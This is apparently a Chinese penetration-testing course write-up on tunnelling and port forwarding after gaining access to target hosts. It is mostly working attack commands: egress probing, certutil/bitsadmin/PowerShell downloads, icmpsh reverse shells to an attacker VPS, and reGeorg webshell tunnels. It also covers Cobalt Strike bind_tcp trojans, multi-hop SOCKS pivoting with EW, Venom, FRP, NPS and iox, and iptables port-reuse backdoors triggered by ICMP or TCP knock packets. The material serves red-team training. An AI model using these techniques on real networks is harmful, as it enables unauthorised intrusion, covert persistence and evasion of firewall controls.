<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    隧道與端口轉發

    VSole2021-11-18 08:26:13

    *本文為內測第三周結束后內網學員(hh)的學習反饋,內測過程中,輔助同學合理安排學習計劃,同時也不斷收集學員的學習反饋時,我們也會不斷根據內測學員的建議來不斷完善打磨我們的課程。如果想獲得課程報名資格,請添加文末小助手微信咨詢。

    一、出網探測

    出網探測就是要探測出網協議,出站ip和出站端口。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。

    情況1:目標禁止出站ip

    如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。(因為白名單ip沒有辦法拿到權限)。

    情況2:禁止出站端口

    Linux系統

    使用Linux系統自帶命令探測出網端口。( 探測 目標機器可以訪問baidu.com對應ip的端口)

    for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";don
    

    webshell不好回顯結果,將結果寫入文件中

    for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************"|| echo "$i closed";done >> result.txt
    

    探測常見端口

    for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001, 7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
    for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001, 7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done >> result.txt
    

    nmap探測(目標主機很可能沒裝nmap)

    nmap -sT -Pn -p- -v www.baidu.com-p- 全端口-v 顯示記錄
    

    masscan探測(目標主機可能不自帶masscan)

    masscan -p 80,443,8000-9000 182.61.200.6 --rate=10000
    

    fscan探測

    fscan -h 182.61.200.6 -p 1-65535
    

    Windows系統

    如果RDP連接上去,可以使用圖形化工具(如御劍)。

    如果是webshell,可以使用命令行工具(如fscan)。

    探測的端口范圍

    可以根據nmap的端?范圍探測。也可以根據??的經驗積累的端?范圍進?探測。

    nmap -n --top-ports 100 127.0.0.1 -oA foo > /dev/null grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'
    

    攻擊端的端?請求記錄

    攻擊端這邊需要有?標機訪問的記錄,才能更好的判斷?標機器是否訪問了我們。只要?標機器訪問到 了我們VPS的任意?個端?,我們這邊都能有記錄。

    //將所有端?的流量都轉發到34444端? iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444//查看nat表的規則 iptables -t nat -nvL //清除nat表所有規則 iptables -t nat -F
    //備份iptables規則 iptables-save > /tmp/firewall.rules //恢復iptables規則 iptables-restore < /tmp/firewall.rules
    

    配置防?墻規則,禁?訪問遠程機器的1-34566和34566-65535端?,也就是說只允許訪問34567端?

    然后我們這邊監聽34444端?,在?標機器端?探測

    禁止出站協議

    對于禁止出站協議的情況,需要探測目標機器允許哪些協議出網。

    探測ICMP協議

    服務端監聽ICMP流量:tcpdump icmp 客戶端ping VPS地址,查看服務端能否收到請求
    

    VPS監聽,然后ping我們vps查看能否收到監聽來判斷ICMP 協議是否出?。

    也可以直接ping?個地址,看是否 有ttl值。

    探測DNS協議

    Windows:nslookup、ping Linux:nslookup、dig、ping
    

    通過判斷能否將域名解析為ip,判斷DNS協議是否出?。也可以將域名換成dnslog的域名,再看dnslog能否收到請求。

    探測HTTP協議

    Linux:可以使用curl命令

    curl http://192.168.10.13
    

    Windows系統可以使用如下的命令:

    certutil -urlcache -split -f http://192.168.10.13/1bitsadmin /transfer test http://192.168.10.13/1 c:\1powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing
    

    2.只有ICMP協議出網

    ?標只有icmp協議能出?的話,則只有考慮使?icmp協議來搭建隧道。

    利?icmp協議通信的?具有很多icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel都可以。
    

    常?的ping命令就是利?的ICMP協議。

    使用ICMP進行命令控制(Icmpsh)

    適?場景:?標機器是Windows服務器

    下載icmpsh工具:

    git clone https://github.com/bdamele/icmpsh.git
    

    VPS的操作:

    #關閉icmp回復,如果要開啟icmp回復,該值設置為0sysctl -w net.ipv4.icmp_echo_ignore_all=1 #運?,第?個IP是VPS的eth0?卡IP(vps上ifconfig可以得到),第?個IP是?標機器出?的公?IPpython2 icmpsh_m.py 172.20.92.13 39.00.00.00
    

    目標機器的操作:

    icmpsh.exe -t 39.00.00.00 -d 500 -b 30 -s 12839.00.00.00是我的attacker的公網ip
    

    victim反彈了一個shell到我的公網vps上。

    wireshark抓包可看到走的全是icmp協議

    使?PingTunnel搭建隧道

    正向socks5代理

    服務端操作

    #關閉icmp回復,如果要開啟icmp回復,該值設置為0
    sysctl -w net.ipv4.icmp_echo_ignore_all=1 #監聽 sudo ./pingtunnel -type server -noprint 1 -nolog 1
    

    客戶端操作

    sudo pingtunnel.exe -type client -l :1080 -s 39.99.251.19 -sock5 1 -noprint 1 -nolog 1
    然后將代理設置為Socks5 127.0.0.1:1080即可。如果是在attacker vps上執行的,就設為socks5 vps_ip:1080
    

    訪問到內網網站:

    端口轉發

    服務端操作

    #關閉icmp回復,如果要開啟icmp回復,該值設置為0sysctl -w net.ipv4.icmp_echo_ignore_all=1 #監聽 ./pingtunnel -type server -noprint 1 -nolog 1
    

    客戶端操作

    #將?標主機39.99.251.19的8081端?轉發到本地的8080端? pingtunnel.exe -type client -l :8080 -s victim_ip -t victim_ip:8081 -tcp 1 noprint 1 -nolog 1
    

    這樣訪問本地的8080端?就相當于訪問了?標主機的8081端?。

    將victim(我的vps)的frp端口轉發到本地的42538

    ICMP上線CS

    有如下場景,我們拿到了內?10.211.55.7和10.211.55.6的機器權限。但是這兩個機器對外均只有icmp協議出 ?,我們現在可以利?icmp封裝tcp協議,讓其上線cs。

    服務端10.211.55.15 對應我的公網VPS

    sudo ./spp -type server -proto ricmp -listen 0.0.0.0
    

    客戶端10.211.55.7 對應我的192.168.60.124機器

    spp.exe -name "test" -type proxy_client -server vps_ip -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricm
    

    CS上創建兩個監聽器

    重點

    vps上的是開8081端口192.168.60.124上開的是8082用http8082監聽器生成??,在客戶端192.168.60.124和內?其他機器192.168.60.228?標機器執?,可以看到均能上線。
    

    192.168.60.124和192.168.60.228機器之間是TCP流量

    客戶端和服務端之間是icmp流量。

    體驗了一波,非常慢。

    原理

    實際通信是這樣,192.168.60.228連接192.168.60.124的8082端?,但是因為我們起了正向代理,8082映射到了服務端 的8081端?。因此192.168.60.228最終連接到了服務端的8081端?。

    3.目標不出網的場景

    reGeorge

    reGeorge的使用(本地虛擬機多次不成功)

    https://github.com/sensepost/reGeorg
    

    使用

    將對應語言的腳本文件上傳到目標機器,php對應tunnel.nosocket.php。

    再在vps或者本機上執行

    python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 1080 -u http://victim_ip/tunnel.nosocket.php
    

    設置代理訪問 socks5代理

    訪問目標內網成功。

    Neo-reGeorg

    使用

    執行以下命令生成代理腳本

    python3 neoreg.py generate -k moonsec(password)
    

    將生成的腳本傳到目標機器上

    在vps或者本地執行

    python3 neoreg.py -l 0.0.0.0 -p 1080 -k moonsec -u http://victim_ip/tunnel.php
    

    設置代理訪問目標內網成功

    自定義訪問頁面

    自定義一個404頁面:

    python3 neoreg.py generate -k moonsec --file 404.html --httpcode 404
    

    這樣以后tunnel.py就變成了404.html的樣子。

    后續使用

    python3 neoreg.py -l 0.0.0.0 -p 1080 -k moonsec -u http://victim_ip/tunnel.php --skip
    

    不出網上線CS

    我們打下了?個?標機器10.211.55.3,但是該機器不出?,我們現在想讓其上線CS。我們的思路是這樣的,通 過配置代理,讓本地虛擬機10.211.55.7可以訪問到?標機器。然后讓本地虛擬機上線cs,?bind_tcp去連接?標 機器。

    以下演示中

    192.168.8.108對應圖中內網不出網服務器10.211.55.3(實戰中為公網IP)192.168.8.115對應圖中我們的虛擬機 10.211.55.7192.168.8.106 127.0.0.1 是我們的本機
    

    掛好http代理

    在192.168.8.108(10.211.55.3)服務器上搭建http隧道

    虛擬機上線CS

    虛擬機192.168.8.115(10.211.55.7)上線CS

    虛擬機192.168.8.115(10.211.55.7)配置好socks5代理保證可以訪問到192.168.8.108(10.211.55.3)

    監聽bind_tcp

    CS上開啟一個bind tcp的監聽器

    生成一個bind tcp的木馬

    把木馬在192.168.8.108(10.211.55.3)機器執行

    查看是否監聽了

    netstat -ano |findstr 42585
    

    connect主動連接

    在已上線的192.168.8.115(10.211.55.7的shell)里面執行 

    connect 192.168.8.108(10.211.55.3)
    

    好像我的cs里面bind_tcp默認是42585,所以默認會連42585跟我的cs profile有關。。。

    注意要用stageless的exe。

    4.FRP(目標機器出網)

    使?Frp建?隧道(反向socks5代理)

    基本是配置

    客戶端

    成功

    使用FRP映射web服務

    客戶端

    將目標機器的web服務器映射到vps的8090端口上

    配置:

    使用FRP映射RDP服務

    客戶端

    將目標機器的3389端口映射到我的vps上了。

    也是類似的操作,電腦暫時沒空間裝不下linux虛擬機了就沒去試。

    使?FRP映射其他服務,例如MySQL、Redis等服務都是和映射Web、RDP、SSH服務?樣,修改?下要映射 的端?即可。

    5.NPS的使用

    配置文件

    有個坑

    https://blog.kaygb.com/728.html
    

    配置文件的位置不是在nps的目錄下

    而是在

    /etc/nps/conf/nps.conf
    

    注意,nps啟動后會監聽:

    http_proxy_port:80 防止占用修改為9090https_proxy_port:443 防止占用修改為9091bridge_port :8024web_port :23125 防止占用
    

    啟動

    啟動:sudo nps start 停?:sudo nps stop 重啟:sudo nps restart 配置?件重載:sudo nps reload 更新nps:nps-u pdate update
    

    查看nps監聽的端口

    netstat -pantu | grep nps
    

    登錄web管理端

    新建一個客戶端

    客戶端連接

    修改client的npc.conf文件

    要刪掉common以外的東西

    修改server_addr和vkey

    執行

    npc.exe
    

    在線了

    搭建sock5反向代理

    使?步驟

    在剛才創建的客戶端隧道管理中添加?條socks5代理,填寫監聽的端?(8888),保存。

    在外?環境的本機配置socks5代理(例如使?proxifier進?全局代理),ip為公?服務器ip(39.00.00.00), 端?為填寫的監聽端?(8888),即可暢享內?了

    socks5代理的用戶名密碼是新建客戶端時候的basic用戶名和Basic密碼

    使用proxifier成功連上。

    掛著socks5訪問RDP

    6.EW

    一級代理

    正向代理

    目標機器有公網ip,我們可以去找這個目標機器的端口,在目標機器上執行如下命令:

    正向連接,所以有ssocksd(正向連接) 和 -l(監聽本地端口)

    ./ew_for_linux64 -s ssocksd -l 1080
    

    在目標機器上建??個socks5的代理,監聽了1080端?的流量。

    掛上代理訪問內網

    瀏覽器proxychains設置代理訪問目標內網成功。

    反向代理

    Victim----->vps:8889---->vps:1080(socks5)
    

    代理是目標機器連我。

    場景是獲得了一個位于內網的通過NAT方式(沒有公網ip)對外提供服務的主機的權限,現在需要對這臺服務器所在的內網繼續進行滲透。就可以通過ew建立一個socks5隧道,讓主機通過隧道訪問內網。

    VPS

    rcsocks 反向連接的attacker vps使用

    -l 要監聽的本地端口

    -e 要反彈到的機器端?

    VPS上開啟監聽,將1080端口監聽的流量都轉發到本地的8889端口用于反向連接

    ./ew_for_linux64 -s rcsocks -l 1080 -e 8889
    

    目標機器

    rssocks 反向連接的受害者機器使用-d:要反彈到的機器 ip-e 要反彈到的機器端?將本地的所有流量都轉發到我的VPS ip的8889端?用于反向連接ew_for_Win.exe -s rssocks -d vps_ip -e 8889
    

    掛上代理可訪問:

    瀏覽器proxychains

    proxifier

    proxychains4代理

    二級代理

    Vps:1080<------vps:8888<-------A<-------B:9999
    

    踩的坑是要把B服務器的防火墻都關了或者添加對應的出入站規則才行。

    有這么?種情況。內?主機A能出?,內?主機B不能出?,但是內?主機B可以訪問靶標。內?主機A不能 訪問到靶標,但是能通內?主機B。我們現在已經拿到了內?主機A和內?主機B的權限。

    VPS:x.x.x.x服務器A(Linux):192.168.60.132服務器B(windows):192.168.60.197,10.10.1.129靶標web系統:http://10.10.1.128/dd.html
    

    ?先,在VPS上開啟如下監聽,將1080端?監聽的流量都轉發到本地的8888端?。

    ./ew_for_linux64 -s lcx_listen -l 1080 -e 8888
    

    然后在服務器B上執?如下命令,監聽本地的9999端?

    ew.exe -s ssocksd -l 9999
    

    最后再服務器A上執?如下命令,將VPS的8888端?和服務器B的9999端?連接起來

    意思就是主動連接服務器B的9999端口(前面在B的9999端口開了監聽所以連得到),反彈到vps的8888端口,用于多級連接。

    ./ew_for_linux64 -s lcx_slave -d vps_ip -e 8888 -f server_b_ip -g 9999
    

    以上命令都執?完之后,設置socks5代理為VPS 的1080端?,即可成功訪問靶標web系統http://10.10.1.128/dd.html。(此時的代理代的是服務器B)

    三級代理

    C -----> B:7777 ------> B:9999VPS:10803<---- VPS:8888<----- A ------>B:9999
    

    內?主機A能出?,內?主機B不能出?,內?主機C也不能出?。服務器A只能訪問服務 器B。服務器B只能訪問服務器A和服務器C。服務器C能訪問服務器B,也能訪問靶標。我們現在拿到了內?主機 A、內?主機B和內?主機C的權限。

    VPS:x.x.x.x服務器A(Linux):192.168.60.132服務器B(windows):192.168.60.197,10.10.1.129服務器C(windows):10.10.1.128,10.10.10.140靶標web系統:http://10.10.10.139/ddd.html
    

    圖中的VPS對應我的VPS

    圖中的內網主機A對應我的環境中的服務器A

    圖中的內網主機B對應我的環境中的服務器B

    圖中的內網主機C對應我的環境中的服務器C

    圖中的靶標對應我的靶標web系統10.10.10.139

    ?先,在VPS上執?如下命令,將10803端?監聽的流量都轉發到本地的8888端?

    意思就是VPS監聽本地端口10803的流量,反彈到8888端口 用于反向連接

    ./ew_for_linux64 -s rcsocks -l 10803 -e 8888
    

    然后在服務器A上執?如下命令,將VPS的8888端?和內?主機B的9999端?連接起來

    意思是服務器A主動連接內網主機B的9999端口,將流量反彈到VPS的8888端口。

    ./ew_for_linux64 -s lcx_slave -d vps -e 8888 -f 192.168.60.197 -g 9999
    

    接著在服務器B上執?如下命令,將監聽的9999端?的流量都轉發給本地的7777端?

    意思就是服務器B監聽本地端口9999的流量 把流量都反彈到7777端口,用于多級連接。

    ew.exe -s lcx_listen -l 9999 -e 7777
    

    意思是服務器C把流量反彈到主機B(10.10.1.129)的7777端口,用于反向連接(C反向連接B)

    ew.exe -s rssocks -d 10.10.1.129 -e 7777
    

    以上命令都執?完之后,設置socks5代理為VPS 的10803端?,即可成功訪問靶標web系統。(此時的代理代的是服務器C)

    四級代理

    暫時沒能在本地搭建起來四層代理的環境,僅作記錄

    有這么?種情況。內?主機A能出?,內?主機B不能出?,內?主機C也不能出?,內?主機D也不能出 ?。內?主機A只能訪問內?主機B。內?主機B只能訪問內?主機A和內?主機C。內?主機C只能訪問內?主機B 和內?主機D。內?主機D能訪問內?主機C和靶標。我們現在拿到了內?主機A、內?主機B、內?主機C和內?主機D的權限。

    VPS:39.99.251.19服務器A(Linux):10.211.55.15服務器B(Windows):10.211.55.6服務器C(Windows):10.211.55.16服務器D(Windows):10.211.55.14靶標web系統:http://10.211.55.7/1.txt
    

    ?先,在VPS上執?如下命令,將1080端?監聽的流量都轉發到本地的8888端?

    ./ew_for_linux64 -s rcsocks -l 1080 -e 8888
    

    然后在服務器A上執?如下命令,將VPS的8888端?和內?主機B的9999端?連接起來

    ./ew_for_linux64 -s lcx_slave -d 39.99.251.19 -e 8888 -f 10.211.55.6 -g 9999
    

    然后在服務器B上執?如下命令,將本地的9999端?流量轉發到內?主機C的7777端?

    ew.exe -s lcx_tran -l 9999 -f 10.211.55.16 -g 7777
    

    然后在服務器C上執?如下命令,將本地的7777端?的流量都轉發給本地的6666端?

    ew.exe -s lcx_listen -l 7777 -e 6666
    

    最后再服務器D執?如下命令,將反彈流量到內?主機C的6666端?

    ew.exe -s rssocks -d 10.211.55.16 -e 6666
    

    以上命令都執?完之后,設置socks5代理為VPS 39.99.251.19的1080端?,即可成功訪問靶標web系統。

    7.iox使用

    iox使用

    fwd轉發模式

    將內網主機的RDP端口轉發到VPS上

    VPS執行:

    ./iox fwd -l *9999 -l 3389 -k 65656
    

    3389不用加密

    目標機器執行:

    iox.exe fwd -r local_ip:3389 -r *vps_ip:9999 -k 656565
    

    rdp成功 有時候要多試幾次

    Proxy代理模式

    sock5反向代理

    目標機器連我的VPS

    嘗試了一種成功一種失敗

    失敗的情況----------------------

    VPS執行

    ./iox proxy -l *9999 -l *1080 -k 656565 (失敗)
    

    目標機器執行#將流量轉發到vps的9999端?iox.exe proxy -r *vps_ip:9999 -k 656565代理設置socks5 vps:1080失敗
    

    成功的情況--------------------------------

    VPS執行

    ./iox proxy -l *9999 -l 1080 -k 656565 (socks端口不加密似乎能成功)
    

    目標機器執行

    iox.exe proxy -r *vps_ip:9999 -k 656565
    

    成功

    socks5正向代理

    我們去連目標機器

    目標機器上執行

    ./iox proxy -l 1080
    

    瀏覽器proxychains掛vps的1080端口的sock5代理訪問成功

    終端proxychains4掛vps的1080端口的sock5代理成功

    proxifier訪問成功

    8.Venom

    一級代理

    反向socks5代理

    有這么?個場景,我們獲得了?個位于內?的通過NAT?式對外提供服務的主機的權限,現在我們需要對其 所在的內?繼續進?滲透。于是,我們就需要通過venom建??個socks5隧道代理,讓我們的主機可以通過隧道訪問其內?。

    反向代理是客戶端連我們的VPS。

    服務端(VPS)

    執行如下命令監聽9999端口

    ./admin_linux_x64 -lport 9999 -passwd moonsec
    

    客戶端

    執行如下命令連接VPS的9999端口

    agent.exe -rhost vps_ip -rport 9999 -passwd moonsec
    

    然后服務端就可以收到流量

    goto節點,執行socks命令簡歷socks5代理

    goto 1socks 1080
    

    我們連vps的1080端口的socks代理就可以內網漫游。

    正向socks5代理

    當?標機器有?個公?ip時,可以使?以下命令建??個socks5的代理,監聽1080端?的流量。

    那么就可以在目標機器上開一個端口用自己的VPS然后去連。

    客戶端:

    在目標機器上執行如下命令監聽8888端口:

    ./agent_linux_x64 -lport 8888
    

    服務端:

    實戰中用VPS或者本地端去連接目標機器ip的8888端口:

    admin.exe -rhost target_ip -rport 8888
    

    goto節點,socks命令建立代理。

    goto 1socks 1080
    

    二級代理

    現在有這么?種情況。內?主機A能出?,內?主機B不能出?,但是內?主機B可以訪問靶標。內?主機A不能訪 問到靶標,但是能通內?主機B。我們現在已經拿到了內?主機A和內?主機B的權限。

    VPS服務器A:192.168.60.132服務器B:192.168.60.150,10.10.1.129靶標web系統:http://10.10.1.128/dd.html
    

    正向連接

    圖中的VPS、內網主機A、內網主機B、靶標分別和我自己的環境對應。

    二級代理只需要在一級代理的基礎上多執行一條命令。

    首先搭建一級代理:

    這里就用反向代理——

    VPS:./admin_linux_x64 -lport 9999 -passwd moonsec
    A:./agent_linux_x64 -rhost vps_ip -rport 9999 -passwd moonsec
    

    如果一級代理加了密碼 -passwd參數,那么后面的代理都需要帶上 -passwd參數。一級代理沒有加密碼的話后面都不用加。

    B機器上執行如下命令:

    agent.exe -lport 9999 -passwd moonsec
    

    (admin node) >>> goto 1node 1(node 1) >>> connect 192.168.60.151 9999connect to 192.168.60.151 9999successfully connect to the remote port!(node 1) >>> showA+ -- 1 + -- 2(node 1) >>> goto 2node 2(node 2) >>> socks 1080a socks5 proxy of the target node has started up on the local port 1080.
    

    反向連接

    搭建好一級代理:

    VPS:./admin_linux_x64 -lport 9999 -passwd moonsec
    A:./agent_linux_x64 -rhost vps_ip -rport 9999 -passwd moonsec
    

    一級代理搭建完成:

    然后在A服務器上開啟監聽端口:

    (node 1) >>> listen 7778listen 7778the port 7778 is successfully listening on the remote node!
    

    B服務器反向去連A:

    agent.exe -rhost 192.168.60.132 -rport 7778 -passwd moonsec
    

    (node 1) >>> showA+ -- 1 + -- 2(node 1) >>> goto 2node 2(node 2) >>> socks 1080a socks5 proxy of the target node has started up on the local port 1080.(node 2) >>>
    

    三級代理

    現在有這么?種情況。內?主機A能出?,內?主機B不能出?,內?主機C也不能出?。服務器A只能訪問服務器 B。服務器B只能訪問服務器A和服務器C。服務器C能訪問服務器B,也能訪問靶標。我們現在拿到了內?主機A、 內?主機B和內?主機C的權限。

    VPS服務器A:192.168.60.132服務器B:192.168.60.150,10.10.1.129服務器C:10.10.1.128,10.10.10.140靶標:http://10.10.10.139/ddd.html
    


    三級代理就是在二級代理基礎上再建立一個反向代理或者正向代理

    正向代理

    通過B去連C

    C服務器:

    agent.exe -lport 8886 -passwd moonsec
    

    B服務器:

    (node 2) >>> connect 10.10.1.128 8886connect to 10.10.1.128 8886successfully connect to the remote port!(node 2) >>> showA+ -- 1 + -- 2 + -- 3(node 2) >>> goto 3node 3(node 3) >>> socks 1081a socks5 proxy of the target node has started up on the local port 1081.(node 3) >>>
    

    反向代理

    通過C來連B

    B服務器:

    (node 2) >>> listen 9998listen 9998the port 9998 is successfully listening on the remote node!
    

    C服務器:

    agent.exe -rhost 10.10.1.129 -rport 9998 -passwd moonsec
    

    9.端口復用

    端?復?就是在?個開放的端?上,通過對輸?的信息進?字符匹配,來運?不同的服務。端?復?只對輸?的信息進?字符匹配,不對?絡數據進?任何攔截、復制類操作,所以對?絡數據的傳輸性能絲毫不受影響。端?復?常被?客?來制作后?。有時候利用端口復用也可以搭建隱蔽的隧道。

    Linux利用iptables做端口復用

    場景:

    ?標主機是Linux系統,?標主機防?墻有嚴格的限制,只允許80端?的流量進?。我們拿到了?標主機的Webshell(root權限,因為iptables命令需要root權限)并且拿到了SSH的賬號密碼。但是?標主機22端?只對內開放,所以必須得利?80端?做端?復?連接。

    原先只能通過webshell進行管理,現在想通過ssh遠程連接到目標機器來進行。

    方案一:(根據源地址做端口復用)

    223.104.40.92是我的機子的出口ip(如果是vps的話就是vps的公網ip)

    #將來?223.104.40.92的訪問80端?的流量都重定向到22端?。iptables -t nat -A PREROUTING -p tcp -s 223.104.40.92 --dport 80 -j REDIRECT --to-port 22iptables -t nat -A PREROUTING -p tcp -s 220.196.192.73 --dport 80 -j REDIRECT --to-port 22#查看nat表的規則 iptables -t nat -nvL #清除nat表的規則 iptables -t nat -F
    

    但是這樣做有?個問題就是,我們訪問?標主機80端?的流量都會被轉給22端?。如果我們不?訪問該HTTP服務 的話,這是?個好的辦法。實戰中,我們?般是?VPS連接不?訪問HTTP服務,所以在實戰中該?法?的?較多。所以說就是沒事

    方案二:(根據源地址源端口做端口復用)

    既指定ip又指定端口,主要主動連的機子有公網ip(VPS)。

    做個記錄。

    目標機器上執行:

    #根據源地址源端?做端?復?,也就是只有來?223.104.40.92主機的33333端?的訪問80端?的流量會被轉給22 端? iptables -t nat -A PREROUTING -p tcp -s 223.104.40.92 --sport 33333 --dport 80 -j REDIRECT --to-port 22 #查看nat表的規則 iptables -t nat -nvL #清楚nat表的規則 iptables -t nat -F
    

    然后我們本機先?socat將本地44444端?的流量以源端?33333訪問39.99.251.19的80,然后我們SSH本地的 44444端?即可。

    socat tcp-listen:44444,fork,reuseaddr tcp:39.99.251.19:80,sourceport=33333,reuseaddr ssh -p 44444 root@127.0.0.1
    

    但是這樣做有?個問題就是不?持多連接 如果想創建兩個 SSH 連接就會出錯,因為本地的 33333 端?已經被第? 個 SSH 連接占?了。并且這樣做需要連接的機器擁有單獨的公?ip,?如VPS。

    方案三:(利用ICMP協議做遙控開關)

    創建一個規則,滿足條件觸發。

    #創建端?復?鏈 iptables -t nat -N LETMEIN #創建端?復?規則,將流量轉發? 22 端? iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 #開啟開關,如果接收到?個?為 1139 的 ICMP 包,則將來源 IP 添加到加為letmein的列表中 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
    #關閉開關,如果接收到?個?為 1140 的 ICMP 包,則將來源 IP 從 letmein 列表中去掉 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
    #如果發現 SYN 包的來源 IP 處于 letmein 列表中,將跳轉到 LETMEIN 鏈進?處理,有效時間為 3600 秒 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
    #查看nat表的規則 iptables -t nat -nvL #清除nat表的規則 iptables -t nat -F
    

    #開啟復?,向?標發送?個?度為 1111 的 ICMP 數據包(加上包頭28,總?度實際為1139)?ping -c 1 -s 1111 39.99.251.19 ssh -p 80 xx@ip#關閉復?,向?標發送?個?度為 1112 的 ICMP 數據包(加上包頭 28,總?度實際為 1140) ping -c 1 -s 1112 39.99.251.19
    

    方案四:(利用TCP協議做遙控開關)

    利? tcp 數據包中的關鍵字做遙控開關,不怕?標在內?。

    #創建端?復?鏈 iptables -t nat -N LETMEIN2 #創建端?復?規則,將流量轉發? 22 端? iptables -t nat -A LETMEIN2 -p tcp -j REDIRECT --to-port 22 #開啟開關,如果接收到?個含有threathuntercoming的TCP包,則將來源 IP 添加到加為letmein2的列表中 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name LETMEIN2 --rsource -j ACCEPT #關閉開關,如果接收到?個含有threathunterleaving的TCP包,則將來源 IP 從letmein2的列表中移除 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name LETMEIN2 --remove -j ACCEPT
    #如果發現 SYN 包的來源 IP 處于 letmein2 列表中,將跳轉到 LETMEIN2 鏈進?處理,有效時間為 3600 秒 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name LETMEIN2 --rsource -j LETMEIN2
    

    #開啟復?,開啟后本機到?標 80 端?的流量將轉發??標的 SSHecho threathuntercoming | socat - tcp:39.99.251.19:80 #關閉復?,關閉后,80 恢復正常 echo threathunterleaving | socat - tcp:39.99.251.19:80
    

    icmpiptables
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    iptables常用命令總結
    2023-04-18 10:08:25
    iptables -A INPUT -p tcp --dport 22 -j ACCEPT:允許通過 SSH 連接進入系統,前提是 SSH 服務已經開啟并監聽在 22 端口上。iptables -D INPUT 2:刪除 INPUT 鏈中的第二條規則。iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j REJECT:限制 HTTP 流量,最多允許 10 個并發連接,超過限制則拒絕連接。確保自己已經備份了原始的 iptables 配置,以防止在操作過程中出現意外情況,導致系統無法訪問網絡。避免在 iptables 中使用 ACCEPT 命令,因為 ACCEPT 會接受所有的數據包,包括惡意數據包,容易被攻擊者利用。
    ?iptables由上而下,由Tables,Chains,Rules組成
    你加密的壓縮包比你想象中的還不安全! 哪怕對于信息安全人員來說,很多時候給壓縮包加上一個密碼就以為的是萬事大吉了。但事實是,很多情況下,你的加密壓縮包,遠遠沒有你想象的安全。
    本文將引入一個思路:“在 Kubernetes 集群發生網絡異常時如何排查”。文章將引入 Kubernetes 集群中網絡排查的思路,包含網絡異常模型,常用工具,并且提出一些案例以供學習。其可能原因為Pod 的 DNS 配置不正確DNS 服務異常pod 與 DNS 服務通訊異常大數據包丟包:主要現象為基礎網絡和端口均可以連通,小數據包收發無異常,大數據包丟包。
    iptable使用詳解
    2022-12-09 09:10:52
    而放入內核的地方必須要是特定的位置,必須是tcp/ip的協議棧經過的地方。這五個位置被稱為五個鉤子函數,也叫五個規則鏈。這是NetFilter規定的五個規則鏈,任何一個數據包,只要經過本機,必將經過這五個鏈中的其中一個鏈。為了讓這些功能交替工作,制定出了“表”這個定義,來定義、區分各種不同的工作功能和處理方式。
    與傳統防火墻不同,Perimeter 81的FWaaS可以立即部署在云端。pfSense的主要優點是持續的支持。OPNsense算是pfSense的分支,是從m0n0wall脫離出來的,始于2015年1月。同時,當m0n0wall在2015年2月關閉時,發明者Manuel Kasper將開發者社區轉給了OPNsense。
    網絡拓撲場景介紹局域網下含有物理機、proxy server主機。物理機即普通客戶主機,proxy server即企業提供的代理,此網絡模擬的是公網環境。
    BPFdoor 是一個 Linux/Unix 后門,它允許攻擊者遠程連接到 Linux shell 以獲得對受感染設備的完全訪問權限。
    隧道與端口轉發
    2021-11-18 08:26:13
    如果想獲得課程報名資格,請添加文末小助手微信咨詢。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。情況1:目標禁止出站ip如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。情況2:禁止出站端口Linux系統使用Linux系統自帶命令探測出網端口。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类